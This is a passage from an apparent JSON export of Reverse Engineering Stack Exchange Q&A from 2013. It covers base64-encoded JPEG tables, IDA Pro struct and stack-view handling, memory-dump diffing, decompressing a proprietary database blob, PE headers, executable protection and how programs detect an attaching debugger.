    },
    {
        "Id": "3021",
        "CreationDate": "2013-11-07T08:13:06.420",
        "Body": "<p>I am starring at the following which looks like base64 but not quite:</p>\n\n<pre><code>$ curl -s 'http://cgp.compmed.ucdavis.edu/chapr/education/PATHOBIOLOGY%20OF%20THE%20MOUSE%20TIER%201A/MICROANATOMY/Images/EX02-0006-4.svs?XINFO' | xpath -q -e '//cdata'\n&lt;cdata&gt;/9j/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==&lt;/cdata&gt;\n&lt;cdata&gt;/9j/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==&lt;/cdata&gt;\n&lt;cdata&gt;/9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==&lt;/cdata&gt;\n</code></pre>\n\n<p>However this does not appear to be proper base64 encoded stream:</p>\n\n<pre><code>$ openssl enc -base64 -d &lt;&lt;&lt; /9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==\n</code></pre>\n\n<p>openssl returns nothing as if it was invalid base64.</p>\n\n<p>What is the encoding used in this case ?</p>\n\n<p>EDIT:</p>\n\n<p>I was confused by the output. The encoded is actually a valid JPEG header, it does not contains no image, but it contains a valid JPEG Quantization Table (DQT) &amp; Huffman Table(s) (DHT).</p>\n",
        "Title": "Invalid base64 encoding",
        "Tags": "|decryption|encodings|",
        "Answer": "<p>When I looked into the URL, I can see that the base64 encoded data is having newline character.</p>\n\n<p>When you remove newline characters and present that as one single line to openssl,  you need the <strong><em>-A</em></strong> option.</p>\n\n<p>The below will work fine.</p>\n\n<pre><code>$openssl enc -A -d -base64 &lt;&lt;&lt; /9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==\n</code></pre>\n\n<p>Or you can also use still a simple method as below</p>\n\n<pre><code>$ echo \"/9j/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==\" | base64 --decode\n</code></pre>\n\n<p>We can also do this with notepad++ using <a href=\"http://download.tuxfamily.org/nppplugins/MimeTools/mimeTools.v1.7.zip\" rel=\"nofollow\">MIME tools plugin</a>.</p>\n\n<p>This proves this is base64 encoded data.</p>\n"
    },
    {
        "Id": "3026",
        "CreationDate": "2013-11-08T21:28:40.887",
        "Body": "<p>I want to make a program that can intercept events (something like OnClickFolder as well as OnClickFile). Is there a way <a href=\"http://msdn.microsoft.com/en-us/library/aa264396%28v=vs.60%29.aspx\" rel=\"nofollow\">Spy++</a> or similar programs can do this?</p>\n",
        "Title": "How to use Spy++ to find OnClickFolder or OnClickFile events in Windows Explorer?",
        "Tags": "|windows|",
        "Answer": "<p>Yes, Spy++ can detect folder- and file-clicks in shell windows. Just make sure you're monitoring the right process (typically Explorer.exe).</p>\n"
    },
    {
        "Id": "3031",
        "CreationDate": "2013-11-10T16:32:28.183",
        "Body": "<p>When you open the stack window in IDA with <code>Ctrl-K</code> there is a comment at the top saying:</p>\n\n<p>; Two special fields \" r\" and \" s\" represent return address and saved registers.</p>\n\n<p>When I made some mistake and undefined these fields, then how can I recreate them? Defining data creates just a normal variable type. Or can those not be set, so I have to live with the data types?</p>\n",
        "Title": "IDA special fields in stack window",
        "Tags": "|ida|",
        "Answer": "<p>Easiest solution is to undefine the function (navigate in the disassembly to the beginning of the function and press <kbd>U</kbd>) and then redefine the function (navigate in the disassembly to the beginning of the function and press <kbd>P</kbd>). Note that this will reset any variable names you had already set, though.</p>\n"
    },
    {
        "Id": "3036",
        "CreationDate": "2013-11-14T09:28:45.523",
        "Body": "<p>I'm comparing memory dumps in python with diStorm and volatility and try to analyze for given MemoryDumps (the 'dump' and the 'truth') whenever or not there was process injection.</p>\n\n<p>Mainly I try to match processes and vads in to dumps to each other to compare them, but i get quiet a lot of white noise (false positives).</p>\n\n<p>Here is a log I received comparing two clean memory dumps only by comparing modules (notepad and calc):</p>\n\n<pre><code>[10:08:13] Loading  'D:\\notepad.zip'\n[10:08:36] Loading  'D:\\calc.zip'\n[10:08:59] No match found for #208 \"calc.exe\"!\n[10:08:59] 01/17    matching \"csrss.exe\"\n[10:09:08] 02/17    matching \"VBoxTray.exe\"\n[10:09:18] 03/17    matching \"svchost.exe\"\n[10:12:51] 04/17    matching \"ctfmon.exe\"\n[10:12:55] 05/17    matching \"VBoxService.exe\"\n[10:13:24] 06/17    matching \"smss.exe\"\n[10:13:25] 07/17    matching \"explorer.exe\"\n[10:14:39] Module difference @ 0x772fb186   \"\\WINDOWS\\system32\\shlwapi.dll\"\nSUB AL, 0x77                    SUB AL, 0x77\nPOP ESP                         MOV DL, 0x14\nDB 0x15                         DB 0xbd\nDB 0x2d\n[10:14:39] Module difference @ 0x772fb817   \"\\WINDOWS\\system32\\shlwapi.dll\"\nXOR [EAX], EAX                  XOR [EAX], EAX\nADD [EAX], AL                   DB 0x0\nDB 0x0                          DB 0xbd\n[10:14:39] Module difference @ 0x77fb5e17   \"\\WINDOWS\\system32\\ntdll.dll\"\nADD [ECX+0x0], AH               ADD [EDI+0x0], CH\nINS BYTE [ES:EDI], DX           DB 0x74\n[10:14:39] Module difference @ 0x77fb5e1f   \"\\WINDOWS\\system32\\ntdll.dll\"\nADD [EBP+0x0], AH               ADD [ECX+0x0], AH\nDB 0x78                         DB 0x64\n[10:14:39] Module difference @ 0x77fb5e27   \"\\WINDOWS\\system32\\ntdll.dll\"\nADD [EAX], AL                   ADD [EAX+0x0], BH\nDB 0x0                          DB 0x65\nDB 0x73\n[10:14:41] 08/17    matching \"spoolsv.exe\"\n[10:15:24] 10/17    matching \"svchost.exe\"\n[10:15:47] 11/17    matching \"msmsgs.exe\"\n[10:16:06] 12/17    matching \"svchost.exe\"\n[10:16:38] 13/17    matching \"svchost.exe\"\n[10:17:08] 14/17    matching \"winlogon.exe\"\n[10:18:03] 15/17    matching \"services.exe\"\n[10:18:19] 16/17    matching \"lsass.exe\"\n[10:19:15] Module difference @ 0x74414320   \"\\WINDOWS\\system32\\samsrv.dll\"\nADD [EAX], AL                   JO 0x743bffb4\nADD [EAX], AL                   ADC AL, 0xc\nADD [EAX], AL                   OR AL, 0xde\nADD [EAX], AL                   INTO\n[10:19:15] Module difference @ 0x74414546   \"\\WINDOWS\\system32\\samsrv.dll\"\nADD [EAX], AL                   ADD [EAX], AL\nADD [EAX], AL                   DB 0xff\nADD [EAX], AL                   DB 0xff\nDB 0x0                          DB 0xff\n[10:19:16] Module difference @ 0x76f411bf   \"\\WINDOWS\\system32\\wldap32.dll\"\nADD [EAX], AL                   ADD AL, CH\nDB 0x3e                         JAE 0x76f2000f\nDB 0xc\n[10:19:17] Module difference @ 0x77cff169   \"\\WINDOWS\\system32\\rpcrt4.dll\"\nDB 0x3                          MOV AL, [0x49ff5965]\nDB 0x35\nDB 0xa1\nIN AL, 0x3a\n[10:19:20] 17/17    matching \"System\"\n</code></pre>\n\n<p>If i try ans also compare the executable image of the process I recieve even more noise</p>\n\n<pre><code>[12:10:13] 01/17    matching \"csrss.exe\"\n[12:10:22] Instruction missmatch @ 0x5302db (13)\nADD [EAX-0x671ea561], CH        ADD AL, CH\nRETF                            AND AL, 0x98\nAND ECX, 0x2b0003               CWDE\n[12:10:22] Instruction missmatch @ 0x53033b (6)\nADD [EBP+0x0], AH               ADD [EBX+0x0], DH\n[12:10:22] Instruction missmatch @ 0x5304c7 (9)\nADD [EAX], AH                   ADD AL, CH\nADC EAX, 0x95d8bc65             ADD [EAX], AL\nTEST AL, 0xe1                   ADD [EAX], AL\n[12:10:22] Instruction missmatch @ 0x53065d (2)\nADD [EBX], AL                   ADD [EAX+EAX], AL\n[12:10:22] Instruction missmatch @ 0x5307bb (6)\nADD [EBX+0x0], DH               ADD AL, CH\n[12:10:22] Instruction missmatch @ 0x5307c5 (7)\nADD [EAX+EAX-0x439c6800], AH    ADD [ECX+0x0], BL\n[12:10:22] Instruction missmatch @ 0x530864 (1)\nSTD                             FLD DWORD [EAX]\n[12:10:22] Instruction missmatch @ 0x53086d (4)\nADD [EAX+EAX+0x18], AL          ADD [EDX+0x60551800], AL\n[12:10:22] Instruction missmatch @ 0x53096c (13)\nCMP [EBP+0x65], CH              MOV AL, [0x70e18a84]\nMOV ESP, 0xe1a895d8             LOOPZ 0x530072\nADD EAX, 0xd0000300             ADD EAX, [EAX]\n</code></pre>\n\n<p>Each dump has been created on the same Windows XP VM.\nAny idea on how to filter that noise? Would be thankful for any hint and sorry for my bad english.</p>\n",
        "Title": "Differences in memory dumps of executable data",
        "Tags": "|executable|memory|",
        "Answer": "<p>Unfortunately, certain factors are in play that will make it incredibly hard to filter. Specifically, everything from the calling convention windows uses to function prologs to space in said <a href=\"https://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames#Hot_Patch_Prologue\" rel=\"nofollow noreferrer\">prologues</a> to allow hot patching, etc...Windows' Application Binary Interface (ABI) is incorporated in every execution on the box. Naturally, this means you wont be able to filter it out, as several instructions are fairly common.</p>\n\n<p>If you're merely trying to diff binaries to see how similar they are, the main one i would suggest is <a href=\"http://www.forensicswiki.org/wiki/Ssdeep\" rel=\"nofollow noreferrer\">SSDEEP</a> found in this <a href=\"https://reverseengineering.stackexchange.com/questions/3507/is-there-any-tool-to-quantitatively-evaluate-the-difference-of-binary\">answer</a></p>\n"
    },
    {
        "Id": "3040",
        "CreationDate": "2013-11-15T09:39:10.917",
        "Body": "<p>I would like to know how are achieved PUFs (Physicaly Unclonable Functions) and if there is a way reverse these hardware electronic components ?</p>\n\n<p>Recent papers such as \"<a href=\"http://nedos.net/fdtc2013.pdf\" rel=\"nofollow\">Invasive PUF Analysis</a>\" present techniques to extract information from PUFs but, I would like to better understand the basic principles of PUFs and what are the problems when trying to clone it.</p>\n",
        "Title": "How are achieved PUFs (Physicaly Unclonable Functions) and can we workaround?",
        "Tags": "|obfuscation|hardware|",
        "Answer": "<p>If you are looking to better understand the basic principles of PUFs, I would warmly recommend the <a href=\"http://security1.win.tue.nl/~bskoric/physsec/files/LectureNotes_2IC35_v1.4.pdf\" rel=\"nofollow\">lecture notes of Boris Skoric</a>. Chapter 5 is all about PUFs: history, examples, applications and entropy. Some of the things presented there are also formalized, which requires a decent level of information theory knowledge.</p>\n"
    },
    {
        "Id": "3042",
        "CreationDate": "2013-11-15T21:36:18.173",
        "Body": "<p>I have a proprietary file format that is a compressed database file. This database file has a few dozen tables. Each of these tables only have a few records, many of them don't have any records at all. A few of these tables contain fields that are stored as blobs of hex data. These blobs account for 99% of the disk space of the overall database file.</p>\n\n<p>As far as I can tell, these blobs are not compressed data (by using unix 'file' command). I have tried finding known values in these blobs by exporting values from the proprietary software, converting to hex and searching for that value in the database file. So far I haven't been able to find any matches. The problem is that the software can export in a myriad of formats and I'm not sure which one (if any) the data would be stored in.</p>\n\n<p>Most of the tables contain checksum fields, which I believe, are responsible for my inability to edit the blobs and see what changes in the proprietary software. This combined with the fact that I cannot directly change the values that I wish to extract from the proprietary files leaves me in a difficult position.</p>\n\n<p>Does anybody know any tricks for trying to tease out time series data from binary data?</p>\n\n<p><strong>Edit</strong>\n<a href=\"http://pastelink.me/dl/4e6d0c#sthash.Co5cEOJS.dpuf\" rel=\"nofollow\">This zip file</a> contains 2 hex blobs (index and value) from the decompressed database and the same data as it is exported from the program.</p>\n",
        "Title": "Decoding a blob",
        "Tags": "|binary-analysis|",
        "Answer": "<p>After seeing the test files (thanks!):</p>\n\n<p>... too easy :)</p>\n\n<p>In <code>value.hex</code>, the first dword appears to be a total file length; the second dword the data length. The third and fourth dwords may be flags of some kind and do not appear to point to data. This lops off the first 16 bytes, hence my guess the 2nd dword is 'data length'.</p>\n\n<p>Right after this header comes that familiar pair <code>78 9C</code> again, so I brought out my zlib decoder wrapper. Unpacking <code>value.hex</code>, starting at offset 0x10, and using <code>TINFL_FLAG_PARSE_ZLIB_HEADER</code> (as I am using <code>miniz.c</code> for eaze) gave me a correct unpacking result and a data file of 33,208 bytes long.</p>\n\n<p>Inspecting this with 0xED shows this file consists entirely out of <em>double values</em> (8 bytes each); the first few are</p>\n\n<pre><code>0.991932\n0.991931\n0.991932\n0.991932\n0.991932\n0.991933\n</code></pre>\n\n<p>(okay, there appears to be a pattern here -- the devil is in the last few digits which 0xED doesn't show, they are not all the same values).</p>\n\n<p>The second file, <code>index.dat</code>, also unpacks correctly and gives another long list of double values, this time clearly going up:</p>\n\n<pre><code>0.0000\n0.0082\n0.0163833\n0.0245667\n</code></pre>\n\n<p>I didn't cross-reference these values against the XLS file you provided, I assume you can work that out from here.</p>\n\n<p>I only unpacked until I got a positive result back, I did not check if there are more data packets (compressed or otherwise) following the first one and you should verify using the end result of your own favourite decompression routine.</p>\n\n<hr>\n\n<p>Just as I was heading to bed, it struck me that the 3rd and/or 4th dwords in the header (weren't they the same anyway?) may be the 'unpacked' length.</p>\n"
    },
    {
        "Id": "3044",
        "CreationDate": "2013-11-16T14:43:44.000",
        "Body": "<p>Do disassemblers detect the use of C/C++ standard functions and specify them in the output code, adding the <code>#include</code> line to the appropriate header file (such as <code>stdio.h</code> or even <code>windows.h</code>)?</p>\n\n<p>If not, does the whole big library is being recognized as the developer's own business-logic code, and written fully? Aren't the standard libraries known binary sequences (or can be processed some way to be known, as a binary-code can be different because of addressing)?</p>\n\n<p>Do you know disassemblers that do detect standard functions and properly #include them in the output?</p>\n",
        "Title": "Do disassemblers detect standard functions?",
        "Tags": "|ida|disassembly|disassemblers|",
        "Answer": "<p>One thing that's important to realize is that standard runtimes are commonly treated as any other code or library. How compiled code is linked and loaded depends a lot on the platform. .net is very different from c++.</p>\n\n<p>Basically functions have at least three major ways of showing up inside of your binary: </p>\n\n<h3>Dynamically linked</h3>\n\n<p>This when a function is kept inside of a dynamically loaded library and is the case for many of the functions you'd get through <i>windows.h</i> as you said. Identifying these are generally easy as they're functionally separated and named either through their string name, decorated or undecorated, or through ordinal. Most disassemblers should handle dynamically linked standard functions without issues. This is the most common default for various compiler, runtime and platform options. This depends on the compiler being able to move the function to a separate compilation unit, which is commonly not the case with many templates in C++. Calling conventions are respected and prologue and epilogue are present.</p>\n\n<h3>Statically linked and not inlined</h3>\n\n<p>This is when a function is included inside of your binary but is functionally separate from other functions. This can be identified using a set of signatures of some form. IDA uses <a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml\">FLIRT signatures</a>. Something like <a href=\"http://www.zynamics.com/bindiff.html\">bindiff</a> uses a more varied and complex approach to comparing functions, for instance using flow graph analysis. Usually parameters are passed according to calling convention unless the binary is built with <a href=\"https://en.wikipedia.org/wiki/Link-time_optimization\">link time optimization</a> in which case the compiler is free to pass arguments in any order it feels like. If you're lucky the binary contains debug information which could allow for significant recovery of function names and parameters.</p>\n\n<h3>Statically linked and inlined</h3>\n\n<p>This is when a function is included inside of your binary and is not functionally separate from other functions. This generally happens when a function is small enough that the overhead to do a function call is expensive enough to warrant repeating the same function in the calling function or if the function is only called in very few locations, usually once, in the binary. This means that the disassembler has very little information to know that this was originally a separate function and debug information will not help much with recovery of these functions. There will be no function prologue or epilogue. Opcodes can be heavily rearranged/ The only tool I'm aware of that does very limited recovery of this sort of function is Hex-Rays decompiler, not diassembler. I've seen binaries with link time optimization where a function ends up being a massive result of hundreds of nested inlined functions, resulting in a function with thousands of branches. Separating them back out into their original functions would have been a very useful operation to have.</p>\n\n<h3>Finally</h3>\n\n<p>There is no solution that solves all the cases mentioned above. Hex-Rays IDA combined with their decompiler and BinDiff probably provides the most complete solution I know of. On very <a href=\"https://en.wikipedia.org/wiki/Reflection_%28computer_programming%29\">reflective platforms</a> such as .net, java or python this isn't much of an issue.  </p>\n"
    },
    {
        "Id": "3047",
        "CreationDate": "2013-11-17T14:38:34.517",
        "Body": "<p>Normally I struct is a fixed size. Is it possible to define a structure which contains an element which has different sizes?</p>\n\n<p>To illustrate what I mean is this.</p>\n\n<p>The layout of the data in the file looks like this:</p>\n\n<pre><code>ID          WORD 0\nFunctionPtr DWORD OFFSET Fkt\nName        db 'Name of the function',0\nalign 4\n</code></pre>\n\n<p>'Name' is now a C-String which is as long until it reaches the 0-byte at the end and then follows the align instruction. So is it possible to tell IDA that the structure is including the string, no matter how long it is?</p>\n",
        "Title": "Creating a struct in IDA which contains a cString?",
        "Tags": "|ida|struct|",
        "Answer": "<p>IDA introduced &quot;Variable Length Structures&quot; and describe the usage of it with a very straight forward <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/varstr/\" rel=\"nofollow noreferrer\">tutorial</a>.</p>\n<p>In short, you need to make sure the &quot;flexible&quot; item is the last item of the struct, and define it as an array of size 0. To do this, define a new struct member <code>char Name</code>, click on it and press <kbd>*</kbd>. Then, set the &quot;Array size&quot; to 0.</p>\n<p>Now, the shortcoming is that IDA won't look for a null terminator to define the string, but instead, you'd have to tell it its size every time you want to use the structure.</p>\n"
    },
    {
        "Id": "3048",
        "CreationDate": "2013-11-17T15:49:57.383",
        "Body": "<p>According to IDA the file I'm inspecting has <code>imagebase 0x400000</code>. The first data I can see starts at <code>0x401000</code> but the program reads some data which is at <code>00400174</code>.</p>\n\n<p>When I put a data access breakpoint there, it breaks in <code>ntdll!RtlpImageDirectoryEntryToData32</code> which probably means that there is some process data (using Windows 7). Where can I find some information as to what exactly is there stored?</p>\n\n<p>From the call stack it looks like there should be some resource data as there is\n<code>FindResource</code> among other things.</p>\n\n<pre><code>ChildEBP RetAddr  \n0012f998 7c910385 ntdll!RtlpImageDirectoryEntryToData32+0xf\n0012f9b8 7c9118c0 ntdll!RtlImageDirectoryEntryToData+0x57\n0012fa84 7c911db7 ntdll!LdrpSearchResourceSection_U+0x34\n0012faa0 7c80ad8b ntdll!LdrFindResource_U+0x18\n0012faf4 7e419dbb kernel32!FindResourceExW+0x64\n0012fb18 7e42c924 user32!LoadStringOrError+0x31\n0012fb3c 00404bcd user32!LoadStringA+0x1c\n</code></pre>\n",
        "Title": "What data before the code segment in PE files?",
        "Tags": "|windows|pe-resources|",
        "Answer": "<p>The data at virtual address <code>00400174</code> is the <code>IMAGE_DATA_DIRECTORY</code> entry for <code>IMAGE_DIRECTORY_ENTRY_RESOURCE</code>.</p>\n\n<p>Read the PE/COFF specification at <a href=\"http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v83.docx\">http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v83.docx</a>, and use either a hex editor or a PE editor to navigate through the PE header content.</p>\n"
    },
    {
        "Id": "3049",
        "CreationDate": "2013-11-17T17:47:04.860",
        "Body": "<p>I tried UPX, ASPack and other protectors, but it seems that my application has a weak protection.</p>\n\n<p>What is the best method for protecting your program? Using packers or something else?</p>\n\n<p>At least for a beginner; because I guess there is no perfect protection in the planet an expert can't reverse.</p>\n",
        "Title": "Is there a perfect method for protecting executable files?",
        "Tags": "|packers|copy-protection|",
        "Answer": "<p>The answer is a clear NO.  Whatever protection you do could still be improved if so desired.</p>\n\n<p>The question is a little bit unclear, as there are many different protections possible.\n   - protect against reverse engineering\n   - protect against executing on the wrong computer\n   - protect against copying\n   - protect against modifications.\n   - ...\nwhatever method is best for one purpose may not be best for some other purpose.\nWhen you know what you are against, you are really in a better situation to make a good protection.</p>\n\n<p>You could also say there is no perfect protection, as any protection can be broken.  But maybe that doesn't matter:  maybe the time to brake a particular protection with todays computer-speeds is similar to the age of the universe?  Maybe the protection is just good enough to protect your executable until the protection is no more needed.  Maybe it is just good enough so that an attacker gives up just before suceeding?  Maybe it makes it just hard enough so that an attacker chooses to work on an another program.  Maybe it is broken within minutes after a release...</p>\n\n<p>In practice: Unless you are a seasoned protection engeneer or very good hacker and reverse engineer, your protection will be broken in surprisingly short time.  On the other side, if you understand what you are doing:  Know what compilers generate, know what is hard to reverse engineer, know the program to be protected, know the machine architecture, build the protection in from the beginning, or use some professional protection tools, understand the applications performance requirements, you can keep more or less everybody out.  There is some debate about that.  Before a protection finally is cracked, protectors err by thinking is too hard; reverse engineers err by thinking it is too easy.  Actually when you create high-end protections you might never know, as attackers for high-end stuff won't tell you if/when they succeeded.</p>\n\n<p>There are plenty of tools to help making protections, the price range for such tools goes from free to astronomical. I don't know whether this discussion list allows me to name companies.  If you want to find out mine, or any other, google for tamper-proofing.</p>\n"
    },
    {
        "Id": "3057",
        "CreationDate": "2013-11-19T20:14:48.373",
        "Body": "<p>Sometimes I've tried to attach Ollydbg to applications those have some protection against debuggers, but I have never coded any of these applications and did not see this protection in many applications... So it looks like it is not hard to bypass this, however I am curious and never tried it before. How do you do it guys? (at least some examples on some simple program).</p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "How to attach debugger to app if it has protection against attaching?",
        "Tags": "|anti-debugging|",
        "Answer": "<p>Anti-attaching depends heavily on the fact that windows creates a remote thread in the target\nprocess. What is specific about this thread is usually used to detect attaching.</p>\n\n<p>For example: \nThe entry point Windows chooses for the attaching thread is by default the \"DbgUiRemoteBreakin\" function. Anti-attaching tricks usually hook this function or its\nsibling, the \"DbgBreakPoint\" function.</p>\n\n<p>Also, The fact that the attaching thread (like most normal threads) will have\nthe associated TLS callbacks called is also exploited to detect attaching.</p>\n\n<p>Debug blocks, NtContinue, ThreadHideFromDebugger etc.</p>\n\n<p><a href=\"http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques.html\">http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques.html</a>\n<a href=\"http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_11.html\">http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_11.html</a>\n<a href=\"http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_13.html\">http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_13.html</a>\n<a href=\"http://waleedassar.blogspot.de/2012/02/debuggers-anti-attaching-techniques_15.html\">http://waleedassar.blogspot.de/2012/02/debuggers-anti-attaching-techniques_15.html</a>\n<a href=\"http://waleedassar.blogspot.de/2012/11/sizeofstackreserve-as-anti-attaching.html\">http://waleedassar.blogspot.de/2012/11/sizeofstackreserve-as-anti-attaching.html</a></p>\n"
    },
    {
        "Id": "3061",
        "CreationDate": "2013-11-20T12:57:46.693",
        "Body": "<p>I have a small function that is given a <code>struct</code> as parameters. The <code>struct</code> looks to something like this:</p>\n\n<pre><code>struct my_struct {\n  short a;\n  unsigned int b;\n  unsigned int c;\n};\n</code></pre>\n\n<p>Taking care of the alignment I build the following <code>struct</code> in IDA:</p>\n\n<pre><code>field_0 +0x0\nfield_1 +0x4\nfield_2 +0x8\n</code></pre>\n\n<p>The compiler builds it so that it takes <code>rbp+0x10</code> as the first field in the <code>struct</code>, <code>rbp+0x14</code> as the second and so on. The problem now arises because if I try to apply the pre-defined IDA <code>struct</code> to the instructions, I always get something like <code>[rbp+struct.field_0+0x10]</code>. This get more complicated if there is actually something in my struct at <code>+0x10</code>, because then it just shows <code>[rbp+struct_fieldX]</code> (which is wrong).</p>\n\n<p>The question is: <em>Is there a way to tell IDA (I'm using 6.3) to apply the <code>struct</code> with an offset of <code>0x10</code>?</em> </p>\n\n<p>The dirty trick for this simple case is to create a <code>struct</code> that has 2 <code>size_t</code> dummy fields for the <code>RIP</code> and <code>SFP</code>, but that does not seem to be right way to go here.</p>\n",
        "Title": "IDA Pro: use structs on parameters",
        "Tags": "|ida|struct|",
        "Answer": "<p>Add your struct in the function's stack view:</p>\n\n<ol>\n<li>With your cursor in the function's disassembly view, press <kbd>Ctrl</kbd>+<kbd>K</kbd> to open the stack view.</li>\n<li>In the stack view, ensure that enough function arguments exist to get to at least <code>+00000010</code> in the stack. Use <kbd>D</kbd> to add more function arguments as necessary.</li>\n<li>Position your cursor on the <code>+00000010</code> line in the stack view and press <kbd>Alt</kbd>+<kbd>Q</kbd> to specify <code>my_struct</code> at that offset.</li>\n</ol>\n"
    },
    {
        "Id": "3063",
        "CreationDate": "2013-11-20T19:46:02.990",
        "Body": "<p>In fuzzing (with Pintool) to get examining execution traces of the program, here it is wget. I get some weird instructions, following is a piece extracted from a (very long) trace:</p>\n\n<pre><code>RIP register   instruction\n\n0x7fff751fed17 mov rbx, 0xffffffffffdff000\n0x7fff751fed1e lsl r11d, eax\n0x7fff751fed22 xor r15d, r15d\n0x7fff751fed25 mov r10d, r11d\n0x7fff751fed28 mov r9d, dword ptr [0xff5ff080]\n0x7fff751fed30 test r9b, 0x1\n0x7fff751fed34 jnz 0x7fff1fdb4fdf\n0x7fff751fed3a mov rax, qword ptr [0xff5ff0a8]\n0x7fff751fed42 mov r13d, dword ptr [0xff5ff088]\n0x7fff751fed4a mov qword ptr [rdi], rax\n0x7fff751fed4d mov edx, dword ptr [0xff5ff088]\n0x7fff751fed54 mov r14, qword ptr [0xff5ff0b0]\n</code></pre>\n\n<p>To me, they are quite weird. First, some of them access directly to the memory, that means some addresses, e.g. <code>0xff5ff080</code>, <code>0xff5ff0a8</code> have been hard-coded into the program. Second, I find them nowhere in the loaded libraries and wget itself. Third, even more weird, by passing the parameter <code>(IARG_MEMORYREAD_EA)</code> to get the virtual addresses of the accessed memories. I got the addresses, e.g. <code>0xffffffffff5ff080</code>, <code>0xffffffffff5ff0a8</code>, etc, and all of them do not belong to the program's memory space.</p>\n\n<p>Coud anyone give me some suggestions ?.</p>\n",
        "Title": "Weird instructions",
        "Tags": "|fuzzing|memory|instrumentation|",
